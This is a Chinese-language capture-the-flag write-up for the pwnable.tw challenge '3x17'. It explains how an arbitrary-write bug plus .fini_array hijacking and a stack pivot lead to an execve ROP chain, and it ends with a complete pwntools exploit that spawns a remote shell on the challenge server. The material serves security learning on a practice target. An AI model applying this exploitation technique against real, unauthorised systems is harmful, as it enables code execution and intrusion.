3x17 本题有 NX 的保护
[Asm] 纯文本查看 复制代码 pwndbg> checksec
[*] '/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
.rodata:0000000000492890 aBufferOverflow db 'buffer overflow detected',0
.rodata:0000000000492890 ; DATA XREF: sub_44A3D0+4↑o
.rodata:00000000004928A9 aStackSmashingD db 'stack smashing detected',0
.rodata:00000000004928A9 ; DATA XREF: sub_44A3E0+4↑o
在 main 函数中还是有 Canary 的,用 file 命令,看到程序是静态编译的,且在 IDA 里几乎找不到符号
[Asm] 纯文本查看 复制代码 if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
void __noreturn sub_44A3E0()
{
sub_44A400(0LL, "stack smashing detected");
}
file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
根据程序运行结果,应该是存在任意地址写漏洞、在 IDA 里通过搜索字符串,找到 main 函数
参考链接:
https://blog.csdn.net/gary_ygl/article/details/8506007
linux 的 main 函数启动过程
http://www.bubuko.com/infodetail-3548046.html
https://zhuanlan.zhihu.com/p/154258231
[Asm] 纯文本查看 复制代码 readelf -h 3x17
ELF Header:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - GNU
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401a50
Start of program headers: 64 (bytes into file)
Start of section headers: 759016 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 8
Size of section headers: 64 (bytes)
Number of section headers: 29
Section header string table index: 28
根据 main 的调用约定,start => main 图示是这样的
由于去除了符号表,所以在任意地址写时,我们需要利用 main 函数之后的 fini 函数,使其返回 main,可以不断构造 rop 链
fini => main
[Asm] 纯文本查看 复制代码 .fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 00 1B 40 00 00 00 00 00 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0 ; sub_402960+8↑o
.fini_array:00000000004B40F8 80 15 40 00 00 00 00 00 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends
注意到 main 中有这个控制变量,考虑到 writeflag 是一个 int8 变量,值从 0 ~ 255 变化,那么让它自然溢出,下一轮回到 0,又能有一次 0 => 1,那么又能写一次了
[Asm] 纯文本查看 复制代码 result = (unsigned __int8)++writeflag;
于是先尝试循环起来
[Asm] 纯文本查看 复制代码 def anywrite(addr, data):
ru("addr:")
sn(str(addr))
ru("data:")
sn(data)
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
anywrite(fini_array, p64(libc_csu_fini) + p64(main_addr))
这样就实现了:从 main 中的一次性 anywrite,到多次的 anywrite
[Asm] 纯文本查看 复制代码 readelf -S 3x17
[15] .init_array INIT_ARRAY 00000000004b40e0 000b30e0
0000000000000010 0000000000000008 WA 0 0 8
[16] .fini_array FINI_ARRAY 00000000004b40f0 000b30f0
0000000000000010 0000000000000008 WA 0 0 8
[24] .bss NOBITS 00000000004b92e0 000b82d0
0000000000001718 0000000000000000 WA 0 0 32
既然我们控制了 RIP,我们就可以把栈迁移到我们知道的地方,只要在程序返回之前布置好 "栈",接下来就是构造 ROP
看到 __libc_csu_fini 函数,即题中的 0x402960 函数
在该函数中 rbp 之前的值暂时被放到了栈里,然后将 rbp 赋值为 fini_array(也就是 0x4b40f0)
然后就去调用了 fini_array 函数,而 fini_array 的值我们是可以自己控制的(我们有任意写),这样我们就可以劫持 RIP 到任何地方
可以无限次写入后,便可以布置rop chain
而后只需要中断循环并迁移栈段即可:
将0x4b40f0覆盖为0x401c4b:
[Asm] 纯文本查看 复制代码 .text:0000000000401C4B leave
.text:0000000000401C4C retn
rbp=0x4b40f0,rbx=0
call qword ptr [rbp+rbx*8+0] #0x401c4b->leave #rbp=0x401c4b,rsp=0x4b40f8->ret #rip=*0x4b40f8=0x401b6d,rsp=0x4b4100->push rbp# *0x4b40f8=rbp=0x401c4b,rsp=0x4b40f8->mov rbp, rsp# rbp=0x4b40f8............->leave #rbp=0x401c4b,rsp=0x4b4100->ret #return 2 ropchain
为了不破坏程序循环,我们可以将 RIP 写到 0x4B40F0 + 0x8 * 2 的地方,图示如下:
布置栈环境需要用到 ROPgadget
ROP链常见形式:[pop register]+[value],即参数的值在后,ret指令在前
[Asm] 纯文本查看 复制代码 ROPgadget --binary 3x17 | grep "pop rax ; ret"
0x000000000041ad22 : mov cl, 0x35 ; pop rax ; retf
0x000000000041e4af : pop rax ; ret
0x000000000041ad24 : pop rax ; retf
0x00000000004725a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
ROPgadget --binary 3x17 | grep "pop rdx ; ret"
0x0000000000446e35 : pop rdx ; ret
ROPgadget --binary 3x17 | grep "pop rsi ; ret"
0x00000000004130b7 : add byte ptr [rax - 0x75], cl ; jl 0x4130e0 ; cmp al, ch ; pop rsi ; ret 0
0x00000000004576db : add byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000047dcda : add byte ptr [rbx + rcx*4 + 0x3d], cl ; pop rsi ; ret
0x000000000047dcd8 : add dword ptr [rax], eax ; add byte ptr [rbx + rcx*4 + 0x3d], cl ; pop rsi ; ret
0x00000000004130bc : cmp al, ch ; pop rsi ; ret 0
0x000000000048737d : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x00000000004130ba : jl 0x4130e0 ; cmp al, ch ; pop rsi ; ret 0
0x000000000044a309 : pop rdx ; pop rsi ; ret
0x0000000000406c30 : pop rsi ; ret
0x00000000004130be : pop rsi ; ret 0
0x000000000040fb75 : ror byte ptr [rax - 0x7d], 0xc4 ; sbb byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000040fb79 : sbb byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000047dcd6 : test byte ptr [rbx], dh ; add dword ptr [rax], eax ; add byte ptr [rbx + rcx*4 + 0x3d], cl ; pop rsi ; ret
ROPgadget --binary 3x17 | grep "pop rdi ; ret"
0x000000000047dce1 : add byte ptr [rbx + rcx*4 + 0x2d], cl ; pop rdi ; ret
0x0000000000401696 : pop rdi ; ret
0x00000000004057d7 : pop rdi ; retf
ROPgadget --binary 3x17 | grep "syscall"
0x00000000004022b4 : syscall
0x0000000000401c4b : leave ; ret
0x0000000000442110 : xor rax, rax ; ret
linux 系统调用号表
https://blog.csdn.net/qq_29343201/article/details/52209588
[Asm] 纯文本查看 复制代码 $ ls /home
3x17
$ ls /home/3x17
3x17
run.sh
the_4ns_is_51_fl4g
$ cat /home/3x17/the_4ns_is_51_fl4g
exp 如下
[Python] 纯文本查看 复制代码 from pwn import *
debug = 0
online = 1
#context(log_level = "debug", arch = 'amd64', os = "linux")
context(arch = 'amd64', os = "linux")
if online == 0:
io = process("./3x17")
else:
io = remote("chall.pwnable.tw", 10105)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
def anywrite(addr, data):
ru("addr:")
sn(str(addr))
ru("data:")
sn(data)
#Exec Once -> Exec infinite
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
anywrite(fini_array, p64(libc_csu_fini) + p64(main_addr))
bss_addr = 0x4B92E0
anywrite(bss_addr, "/bin/sh\x00")
#RAX = 59
rax_ret = 0x41E4AF
anywrite(fini_array + 0x10, p64(rax_ret))
anywrite(fini_array + 0x18, p64(59))
#RDI = "/bin/sh\x00"
rdi_ret = 0x401696
anywrite(fini_array + 0x20, p64(rdi_ret))
anywrite(fini_array + 0x28, p64(bss_addr))
#RSI = 0
rsi_ret = 0x406C30
anywrite(fini_array + 0x30, p64(rsi_ret))
anywrite(fini_array + 0x38, p64(0))
#RDX = 0
rdx_ret = 0x446E35
anywrite(fini_array + 0x40, p64(rdx_ret))
anywrite(fini_array + 0x48, p64(0))
#system("/bin/sh")
syscall = 0x4022B4
anywrite(fini_array + 0x50, p64(syscall))
#EIP -> ROP
leave_ret = 0x401C4B
#XOR RAX, RAX ; ret
ret = 0x442110
#ret = 0x401016
anywrite(fini_array, p64(leave_ret) + p64(ret))
io.interactive()
|